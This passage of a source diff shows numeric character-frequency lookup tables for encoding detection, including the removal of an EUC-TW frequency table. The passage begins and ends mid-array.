638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 +4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 +1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 +7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 + 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 +4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 + 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 +2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 + 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 +1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 +1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 + 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 +3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 +3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 +1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 +3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 +7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 +7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 +1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 +2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 +1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 +3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 +2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 +3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 +2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 +4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 +4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 +3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 + 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 +3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 + 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 +3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 +3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 +3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 +1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 +7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 + 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 +7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 +1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 + 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 +4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 +3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 + 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 +2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 +2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 +3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 +1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 +4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 +2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 +1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 +1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 +2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 +3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 +1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 +7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 +1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 +4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 +1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 + 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 +1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 +3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 +3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 +2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 +1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 +4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 + 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 +7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 +2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 +3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 +4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 + 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 +7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 +7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 +1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 +4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 +3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 +2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 +3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 +3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 +2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 +1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 +4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 +3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 +3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 +2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 +4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 +7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 +3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 +2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 +3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 +1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 +2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 +3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 +4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 +2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 +2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 +7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 +1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 +2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 +1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 +3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 +4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 +2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 +3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 +3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 +2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 +4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 +2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 +3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 +4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 +7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 +3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 + 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 +1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 +4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 +1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 +4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 +7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 + 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 +7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 +2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 +1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 +1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 +3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 + 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 + 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 + 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 +3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 +2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 + 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 +7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 +1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 +3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 +7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 +1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 +7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 +4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 +1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 +2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 +2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 +4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 + 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 + 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 +3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 +3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 +1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 +2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 +7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 +1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 +1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 +3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 + 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 +1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 +4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 +7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 +2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 +3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 + 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 +1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 +2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 +2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 +7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 +7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 +7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 +2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 +2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 +1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 +4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 +3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 +3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 +4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 +4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 +2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 +2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 +7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 +4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 +7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 +2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 +1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 +3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 +4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 +2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 + 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 +2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 +1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 +2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 +2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 +4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 +7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 +1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 +3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 +7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 +1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 +8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 +2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 +8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 +2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 +2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 +8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 +8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 +8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 + 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 +8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 +4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 +3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 +8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 +1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 +8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 + 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 +1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 + 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 +4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 +1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 +4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 +1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 + 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 +3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 +4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 +8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 + 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 +3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 + 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 +2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 +) -EUCTWCharToFreqOrder = ( \ - 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 -3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 -1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 - 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 -3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 -4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 -7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 - 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 - 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 - 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 -2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 -1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 -3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 - 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 -1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 -3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 -2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 - 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 -3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 -1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 -7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 - 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 -7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 -1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 - 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 - 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 -3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 -3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 - 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 -2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 -2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 - 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 - 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 -3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 -1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 -1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 -1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 -2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 - 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 -4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 -1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 -7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 -2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 - 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 - 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 - 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 - 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 -7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 - 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 -1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 - 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 - 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 -7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 -1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 - 544, 353, 527,4324, 908,2678,2899,7380, 